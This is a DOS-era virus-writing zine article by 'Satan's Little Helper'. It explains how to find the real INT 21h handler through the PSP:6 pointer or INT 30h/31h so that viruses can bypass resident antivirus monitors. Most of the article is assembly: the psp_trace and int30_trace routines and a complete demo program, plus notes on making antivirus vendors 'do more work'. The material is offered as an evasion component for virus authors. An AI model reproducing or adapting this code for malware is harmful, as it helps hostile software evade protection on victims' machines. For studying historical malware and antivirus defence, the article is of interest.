FINDING INT 21's REAL ADDRESS USING THE PSP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Satan's Little Helper DESCRIPTION ÄÄÄÄÄÄÄÄÄÄÄ The real address of interrupt 21 is useful to almost all viruses it enables viruses to bypass resident monitoring software loaded as device drivers or TSR's. This article will demonstrate a method by which you can obtain the real address of INT 21 by using the entry at offset 6 in the PSP segment. PSP:6 contains a double-word pointing (hopefully) to the dos dispatch handler (this is different from the INT 21 handler). Then *optionally* the dispatch handler has a series of jumps (opcode=0EAh) then it will either a) point to the dos dispatch handler or b) the double-NOP call construct used in some DOS versions which will then point to (a). The dos dispatch handler and int 21 handler in memory appear like this: dos_dispatch_handler: 0000 1E push ds 0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h] 0006 8F 06 05EC pop word ptr ds:[5ECh] 000A 58 pop ax 000B 58 pop ax 000C 8F 06 0584 pop word ptr ds:[584h] 0010 9C pushf 0011 FA cli 0012 50 push ax 0013 FF 36 0584 push word ptr ds:[584h] 0017 FF 36 05EC push word ptr ds:[5ECh] 001B 1F pop ds 001C 80 F9 24 cmp cl,24h 001F 77 DC ja $-22h 0021 8A E1 mov ah,cl 0023 EB 06 jmp $+8 int21_handler: 0025 FA cli 0026 80 FC 6C cmp ah,6Ch 0029 77 D2 ja $-2Ch 002B 80 FC 33 cmp ah,33h therefore: int21_handler = dos_dispatch_handler + 25h So the end result is we just find 'dos_dispatch_hndlr' address then check that the opcodes are right (1E2E/FA80) and then add (int21_handler-dos_dispatch_hndlr) to the pointer to dos_dispatch_hndlr to get the INT 21 handler address. Simple! (read it again if you don't get it). In the case of (b) occurring we just do the same except the offset of the dispatch handler from the int 21 handler is different: 0000 90 nop 0001 90 nop 0002 E8 00E0 call $+0E3h 0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h] 000A 90 nop 000B 90 nop 000C E8 00D6 call $+0D9h 000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h] int21_handler: 0014 90 nop 0015 90 nop 0016 E8 00CC call $+0CFh 0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah] 001E 90 nop 001F 90 nop 0020 E8 00C2 call $+0C5h 0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh] 0028 90 nop 0029 90 nop 002A E8 00B8 call $+0BBh 002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h] 0032 90 nop 0033 90 nop 0034 E8 00AE call $+0B1h 0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h] 003C 90 nop 003D 90 nop 003E E8 00A4 call $+0A7h 0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah] dos_dispatch_handler: 0046 90 nop 0047 90 nop 0048 E8 009A call $+9Dh 004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh] therefore: int21_handler = dos_dispatch_handler - 32h ADVANTAGES & DISADVANTAGES OF THIS METHOD ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This method requires a very small amount of code and can be made even more efficient than the code shown below. Although untrappable it can be confused into tracing into the resident monitor's trapping code. Much of the logic of this method is hard coded so changes in the opcodes (from TSR AV utilities) will be able to trick it into thinking it has found the correct address (this requires use of the double-NOP signatures). AV developers appear to be reluctant to modify their software for specific viruses so may avoid placing the sequence to confuse it into their software. CODE ÄÄÄÄ This code is not designed to be size efficent it is designed to be easy to understand. ;name: psp_trace ;in cond: ds=psp segment ;out cond: ds:bx=int 21 address if carry clear ; ds:bx=nothing if carry set. ;purpose: finds int 21 address using a PSP trace. psp_trace: lds bx,ds:[0006h] ;point to dispatch handler trace_next: cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? jnz check_dispatch lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP cmp word ptr ds:[bx],9090h ;check for double-NOP signature jnz trace_next sub bx,32h ;32h byte offset from dispatch ;handler cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works jnz check_dispatch good_search: clc ret check_dispatch: cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override jnz bad_exit add bx,25h ;25h byte offset from dispatch cmp word ptr ds:[bx],80FAh ;check for cli, push ax jz good_search bad_exit: stc ret NOTES ÄÄÄÄÄ INT 30h and INT 31h contain *code* (not an address) to jump to the dispatch handler so to trace using INT 30h/31h you just set ds:bx to 0:c0 and call the trace_next in the psp_trace routine. Debug hex dump of INT 30/31 addresses in the IVT: Immediate far JMP ____________ -d 0:c0 | | 0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01 |_________| |_________| INT 30 INT 31 addr addr EA 28 00 02 01 = JMP 0102:0028 ;name: int30_trace ;out cond: ds:bx=int 21 address if carry clear ; ds:bx=nothing if carry set. ;purpose: finds int 21 address using an INT 30/31 trace. int30_trace: xor bx,bx mov ds,bx mov bl,0c0h ;point to 0:0c0 jmp short trace_next OTHER NOTES ÄÄÄÄÄÄÄÄÄÄÄ After writing this I heard that the "MG" virus uses the same technique, I have a sample of this virus and it does not use the same technique. TESTING ÄÄÄÄÄÄÄ So far this has been tested on MSDOS 6.x, Novell Netware, and IBM network software all resulting in positive tests. Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT could not be found. It is expected that this will not work on *ALL* DOS-type platforms but that is why I implemented error codes in the form of the carry flag being set/clear. CONCLUSION ÄÄÄÄÄÄÄÄÄÄ It has been shown that INT 30h/31h is slightly more reliable than the PSP:6 address, so if a call to psp_trace results in carry set then call int30_trace. The reason you should call PSP trace first is that altering INT 30/31 is much easier than altering PSP:6 so it makes the AV do more work ;) CREDITS ÄÄÄÄÄÄÄ TaLoN - helped in working out offsets and told me about int 30h/31h pointing to dispatch handler. Lookout Man - tester Aardvark - network tester DEMO PROGRAM ÄÄÄÄÄÄÄÄÄÄÄÄ ;-------8<--------cut here---------8<------- comment | TASM ASSEMBLY: tasm psptest.asm tlink /t psptest.obj A86 ASSEMBLY: a86 psptest.asm | .model tiny .code org 100h start: mov dx,offset psp_status call print_str ;print "PSP trace: " call psp_trace ;do the trace jc bad_psp print_status: mov dx,offset ok_str ;print "Ok!" call print_str mov dx,offset psp_addr ;print "interrupt trace to: " call print_str push bx mov bx,ds ;print segment call bin_to_hex call print_colon ;print ":" pop bx call bin_to_hex ;print offset jmp do_int30 bad_psp: mov dx,offset bad_str call print_str do_int30: nop nop mov word ptr cs:do_int30,20CDh ;exit next time around mov dx,offset i30_status call print_str ;print "PSP trace: " call int30_trace jnc print_status jmp short do_int30 print_str: mov ah,9 push ds push cs pop ds int 21h pop ds ret psp_addr db 13,10,'Interrupt traced to: $' psp_status db 13,10,'PSP trace : $' i30_status db 13,10,'INT 30/31 trace: $' ok_str db 'Ok!$' bad_str db 'Failure$' ;name: psp_trace ;in cond: ds=psp segment ;out cond: ds:bx=int 21 address if carry clear ; ds:bx=nothing if carry set. ;purpose: finds int 21 address using a PSP trace. psp_trace: lds bx,ds:[0006h] ;point to dispatch handler trace_next: cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? jnz check_dispatch lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP cmp word ptr ds:[bx],9090h ;check for double-NOP signature jnz trace_next sub bx,32h ;32h byte offset from dispatch ;handler cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works jnz check_dispatch good_search: clc ret check_dispatch: cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override jnz bad_exit add bx,25h ;25h byte offset from dispatch cmp word ptr ds:[bx],80FAh ;check for cli, push ax jz good_search bad_exit: stc ret ;name: int30_trace ;out cond: ds:bx=int 21 address if carry clear ; ds:bx=nothing if carry set. ;purpose: finds int 21 address using an INT 30/31 trace. int30_trace: xor bx,bx mov ds,bx mov bl,0c0h ;point to 0:0c0 jmp short trace_next bin_to_hex: ;will print number in BX as hex push cx ;code stolen from KRTT demo push dx push ax mov ch,4 rotate: mov cl,4 rol bx,cl mov al,bl and al,0Fh add al,30h cmp al,'9'+1 jl print_it add al,07h print_it: mov dl,al mov ah,2 int 21h dec ch jnz rotate pop ax pop dx pop cx ret print_colon: mov ah,2 mov dl,':' int 21h ret end start ;-------8<--------cut here---------8<-------